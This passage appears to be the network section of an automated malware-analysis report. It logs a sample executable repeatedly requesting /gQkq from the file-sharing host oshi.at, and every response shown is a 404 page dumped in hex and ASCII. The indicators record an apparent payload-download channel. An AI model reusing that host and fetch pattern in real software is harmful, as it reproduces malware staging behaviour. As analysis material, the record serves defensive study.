                                                                2025-01-10 17:52:43 UTC664INData Raw: 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 22 20 68 72 65 66 3d 22 2f 63 6d 64 22 3e 43 6f 6d 6d 61 6e 64 2d 6c 69 6e 65 20 69 6e 74 65 72 66 61 63 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 22 20 68 72 65 66 3d 22 2f 73 68 61 72 65 78 22 3e 53 68 61 72 65 58 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 63 6c 61 73
                                                                Data Ascii: <a class="nav-link" href="/cmd">Command-line interface</a> </li> <li class="nav-item"> <a class="nav-link" href="/sharex">ShareX</a> </li> <li class="nav-item"> <a target="_blank" clas


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                82192.168.2.950060194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:44 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:44 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:44 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:44 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                83192.168.2.950061194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:46 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:46 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:46 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:46 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                84192.168.2.950062194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:48 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:48 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:48 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:48 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                85192.168.2.950063194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:49 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:50 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:50 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:50 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                86192.168.2.950064194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:51 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:52 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:52 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:52 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                87192.168.2.950065194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:53 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:53 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:53 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:53 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                88192.168.2.950066194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:55 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:55 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:55 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:55 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                89192.168.2.950067194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:57 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:57 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:57 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:57 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                90192.168.2.950068194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:58 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:59 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:59 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:59 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                91192.168.2.950069194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:53:00 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:53:01 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:53:01 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:53:01 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                92192.168.2.950070194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:53:02 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:53:03 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:53:02 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:53:03 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                93192.168.2.950071194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:53:04 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:53:04 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:53:04 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:53:04 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                94192.168.2.950072194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:53:06 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:53:07 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:53:06 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:53:07 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                95192.168.2.950073194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:53:08 UTC61OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                Connection: Keep-Alive
                                                                2025-01-10 17:53:09 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:53:08 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:53:09 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
